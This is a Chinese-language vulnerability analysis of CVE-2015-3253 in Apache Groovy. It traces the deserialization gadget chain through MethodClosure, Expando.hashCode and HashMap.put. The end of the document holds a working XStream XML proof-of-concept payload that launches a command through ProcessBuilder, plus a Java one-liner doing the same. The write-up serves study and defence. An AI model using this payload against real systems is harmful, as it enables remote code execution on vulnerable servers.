http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3253

影响版本(1.7.0~2.4.3)

调用链分析

MethodClosure

public class MethodClosure extends Closure {
    private String method;

    public MethodClosure(Object owner, String method) {
        super(owner);
        this.method = method;
        Class clazz = owner.getClass() == Class.class ? (Class)owner : owner.getClass();
        this.maximumNumberOfParameters = 0;
        this.parameterTypes = new Class[0];
        List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);
        Iterator i$ = methods.iterator();

        while(i$.hasNext()) {
            MetaMethod m = (MetaMethod)i$.next();
            if (m.getParameterTypes().length > this.maximumNumberOfParameters) {
                Class[] pt = m.getNativeParameterTypes();
                this.maximumNumberOfParameters = pt.length;
                this.parameterTypes = pt;
            }
        }

    }

    public String getMethod() {
        return this.method;
    }

    protected Object doCall(Object arguments) {
        return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments);
    }

doCall()作用应该是执行构件好的对象(this.getOwner())的方法(this.method)

invokeMethod

    public static Object invokeMethod(Object object, String methodName, Object arguments) {
        if (object == null) {
            object = NullObject.getNullObject();
        }

        if (object instanceof Class) {
            Class theClass = (Class)object;
            MetaClass metaClass = metaRegistry.getMetaClass(theClass);
            return metaClass.invokeStaticMethod(object, methodName, asArray(arguments));
        } else {
            return !(object instanceof GroovyObject) ? invokePojoMethod(object, methodName, arguments) : invokePogoMethod(object, methodName, arguments);
        }
    }

调用指定对象的指定方法
所以可以利用这个方法来执行命令

MethodClosure mc = new MethodClosure(new java.lang.ProcessBuilder("open","/Applications/Calculator.app"), "start").call();

通过java.lang.ProcessBuilder对象的start方法执行open命令

根据上边的分析,MethodClosure.call() == "command".execute()

找到了存在缺陷的方法,接下来就要看有哪些地方调用了这个方法
断点调试call()可以看到被hashcode()调用了

    public int hashCode() {
        Object method = this.getProperties().get("hashCode");
        if (method != null && method instanceof Closure) {
            Closure closure = (Closure)method;
            closure.setDelegate(this);
            Integer ret = (Integer)closure.call();
            return ret.intValue();
        } else {
            return super.hashCode();
        }
    }

hashCode的功能和特性

如果两个对象相同,那么它们的hashCode  值一定要相同
如果两个对象的hashCode相同,它们并不一定相同     
上面说的对象相同指的是用eqauls方法比较

所以当两个对象进行比较时,会调用hashcode和eqauls,如果结果一致则相等

    public V put(K key, V value) {
        if (table == EMPTY_TABLE) {
            inflateTable(threshold);
        }
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

put方法是用来向HashMap中添加新的元素,从put方法的具体实现可知,会先调用hashCode方法得到该元素的hashCode值,然后查看table中是否存在该hashCode值,如果存在则调用equals方法重新确定是否存在该元素,如果存在,则更新value值,否则将新的元素添加到HashMap中

所以当把我们构造的代码添加进去时,put就会调用hashcode进行比较,进而执行代码

    public void setProperty(String property, Object newValue) {
        this.getProperties().put(property, newValue);
    }

Object method = this.getProperties().get("hashCode")自定义hashcode,调用setProperty可以绑定hashcode属性
closure.call()注定了hashCode必须是Closure或者其子类才能最终调用call函数,MethodClosure类恰好是Closure的子类

然后通过调用hashcode的put方法即可执行构造的代码

poc

<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando" reference="../../../.."/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</owner>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>

参考:
https://www.iswin.org/2016/02/27/Xstream-Deserializable-Vulnerablity-And-Groovy-CVE-2015-3253/
http://avfisher.win/archives/tag/groovy